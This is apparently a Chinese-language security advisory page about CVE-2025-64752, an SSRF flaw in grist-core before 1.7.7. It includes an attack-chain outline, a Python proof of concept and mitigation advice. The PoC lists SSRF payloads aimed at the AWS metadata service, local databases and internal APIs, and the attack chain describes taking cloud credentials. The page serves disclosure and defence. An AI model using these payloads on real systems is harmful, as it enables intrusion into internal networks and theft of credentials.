IPBUF安全漏洞报告
English
CVE-2025-64752 CVSS 6.8 中危

CVE-2025-64752: Grist-core Server-Side Request Forgery (SSRF) 漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64752
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
grist-core

相关标签

SSRF服务器端请求伪造grist-coreCVE-2025-64752电子表格网络攻击信息泄露

漏洞概述

CVE-2025-64752是grist-core电子表格托管服务器中的一个服务器端请求伪造(SSRF)漏洞。在1.7.7版本之前,grist-core允许具有任何文档访问权限的用户利用URL获取功能,该功能在服务器端执行。由于服务器端请求具有特权网络访问能力,攻击者可以利用此漏洞对内部网络资源进行探测和访问,可能导致敏感信息泄露或进一步攻击升级。此漏洞无需认证即可利用,但需要攻击者具有grist安装上至少一个文档的访问权限。CVSS评分6.8,属于中等严重程度,主要威胁在于机密性影响。

技术细节

该漏洞存在于grist-core的URL获取功能模块中。在受影响版本(< 1.7.7)中,系统提供了一项从指定URL获取数据的功能,该功能在服务器端执行。攻击者只需拥有对grist安装中任意文档的访问权限,即可调用此URL获取功能。服务器端请求会携带内部网络的访问权限,可以访问本应不可达的内部服务、API端点或云元数据服务。攻击者可以通过构造恶意URL(如http://localhost:xxxx、http://169.254.169.254/等)来探测内部服务或获取敏感信息。修复方案在1.7.7版本中引入,使用代理机制处理不可信的URL获取请求,从而隔离服务器内部网络与外部请求。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标grist-core实例,并获取至少一个文档的访问权限
STEP 2
漏洞利用准备
攻击者构造针对内部网络服务的恶意URL(如AWS元数据服务localhost地址等)
STEP 3
SSRF请求发送
通过grist-core的URL获取功能发送恶意请求,服务器在内部网络上下文中执行请求
STEP 4
敏感信息获取
利用服务器特权网络访问,探测内部服务、获取云元数据、访问内部API或数据库
STEP 5
攻击升级
获取的敏感信息(如云凭证、API密钥)可用于进一步横向移动或提权攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64752 SSRF PoC for grist-core # This PoC demonstrates the Server-Side Request Forgery vulnerability import requests import json TARGET_URL = "http://target-grist-instance.com" # Step 1: Authenticate and get access to any document # Assuming attacker has access to at least one document session = requests.Session() # Step 2: Use the URL fetch feature to make server-side requests # The vulnerable endpoint typically accepts a URL parameter vulnerable_endpoint = f"{TARGET_URL}/api/documents/{doc_id}/fetch" # Step 3: Probe internal services (example: AWS metadata) ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://localhost:5432/", # Internal database "http://127.0.0.1:6379/", # Redis "http://internal-api.local/secret", # Internal API ] for payload in ssrf_payloads: try: response = session.post( vulnerable_endpoint, json={"url": payload}, timeout=5 ) print(f"Target: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("---") except requests.exceptions.RequestException as e: print(f"Error probing {payload}: {e}") print("\nNote: This PoC is for educational and authorized testing purposes only.")

影响范围

grist-core < 1.7.7

防御指南

临时缓解措施
如果无法立即升级,应避免将暴露凭证或无凭证运行的HTTP/HTTPS端点暴露给运行grist-core的实例。建议实施网络隔离,限制grist服务器对内部敏感服务的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表